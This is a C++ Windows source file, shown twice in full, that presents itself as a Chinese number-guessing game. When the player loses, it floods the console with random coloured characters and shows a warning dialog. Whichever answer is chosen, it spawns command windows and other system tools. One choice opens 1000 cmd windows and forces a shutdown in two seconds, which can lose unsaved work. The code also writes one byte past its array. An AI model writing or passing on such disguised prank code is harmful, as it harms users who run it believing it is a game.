#include<bits/stdc++.h>
#include<cstdio>
#include<windows.h>
#pragma comment (lib, "User32.lib")
using namespace std;
int n_cs(int n)
{
int t=0,s=1;
while (s<n)
{
s*=2;
t++;
}
return t;
}
int main()
{
srand(time(0));
int chlen=rand()%50000;
char ch[chlen];
//string str[]={"你干嘛~哈哈哎呦","哈嗨嗨,我又来-当老六","针不戳,住在山里面-针不戳"};
for (int i=0; i<=chlen; i++)
{
ch[i]=rand()%128;
}
printf("猜数字(输入0-n的数(输入n),不小于100):");
int n;
scanf("%d",&n);
while (n<100)
{
printf("错误,请重新输入:");
scanf("%d",&n);
}
int cishu=n_cs(n);
printf("你有%d次机会来猜这个数。\n",cishu);
int m=rand()%n;
int s;
for (int i=1; i<=cishu; i++)
{
printf("请输入猜的数:");
scanf("%d",&s);
if (s>m)
{
cout<<"比这个小"<<endl;
}
else if (s<m)
{
cout<<"比这个大"<<endl;
}
else if (s==m)
{
printf("恭喜你,猜中了!\n游戏结束。\n");
return 0;
}
}
for (int i=0; i<chlen; i++)
{
int x=rand()%0xF;
int y=rand()%0xF;
int z=x*16+y;
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), z);
cout<<ch[i];
Sleep(rand()%3);
}
printf("很遗憾,你没有猜对。你最好马上关闭此exe文件,否则后果自负\n");
int message=MessageBox(NULL,TEXT("是否关闭?"),TEXT("警告"),MB_YESNO+48);
if (message==6)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 0x07);
for (int i=0; i<10; i++)
{
system("start cmd");
Sleep(200);
}
Sleep(4000);
system("start winver");
system("start cliconfg");
system("start rundll32");
system("start cleanmgr");
MessageBox(NULL,"自己关","我是标题",MB_OK);
}
else if (message==7)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 0x07);
for (int i=0; i<1000; i++)
{
system("start cmd");
}
system("shutdown -s -t 2");
}
return 0;
}
#include<bits/stdc++.h>
#include<cstdio>
#include<windows.h>
#pragma comment (lib, "User32.lib")
using namespace std;
int n_cs(int n)
{
int t=0,s=1;
while (s<n)
{
s*=2;
t++;
}
return t;
}
int main()
{
srand(time(0));
int chlen=rand()%50000;
char ch[chlen];
//string str[]={"你干嘛~哈哈哎呦","哈嗨嗨,我又来-当老六","针不戳,住在山里面-针不戳"};
for (int i=0; i<=chlen; i++)
{
ch[i]=rand()%128;
}
printf("猜数字(输入0-n的数(输入n),不小于100):");
int n;
scanf("%d",&n);
while (n<100)
{
printf("错误,请重新输入:");
scanf("%d",&n);
}
int cishu=n_cs(n);
printf("你有%d次机会来猜这个数。\n",cishu);
int m=rand()%n;
int s;
for (int i=1; i<=cishu; i++)
{
printf("请输入猜的数:");
scanf("%d",&s);
if (s>m)
{
cout<<"比这个小"<<endl;
}
else if (s<m)
{
cout<<"比这个大"<<endl;
}
else if (s==m)
{
printf("恭喜你,猜中了!\n游戏结束。\n");
return 0;
}
}
for (int i=0; i<chlen; i++)
{
int x=rand()%0xF;
int y=rand()%0xF;
int z=x*16+y;
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), z);
cout<<ch[i];
Sleep(rand()%3);
}
printf("很遗憾,你没有猜对。你最好马上关闭此exe文件,否则后果自负\n");
int message=MessageBox(NULL,TEXT("是否关闭?"),TEXT("警告"),MB_YESNO+48);
if (message==6)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 0x07);
for (int i=0; i<10; i++)
{
system("start cmd");
Sleep(200);
}
Sleep(4000);
system("start winver");
system("start cliconfg");
system("start rundll32");
system("start cleanmgr");
MessageBox(NULL,"自己关","我是标题",MB_OK);
}
else if (message==7)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 0x07);
for (int i=0; i<1000; i++)
{
system("start cmd");
}
system("shutdown -s -t 2");
}
return 0;
}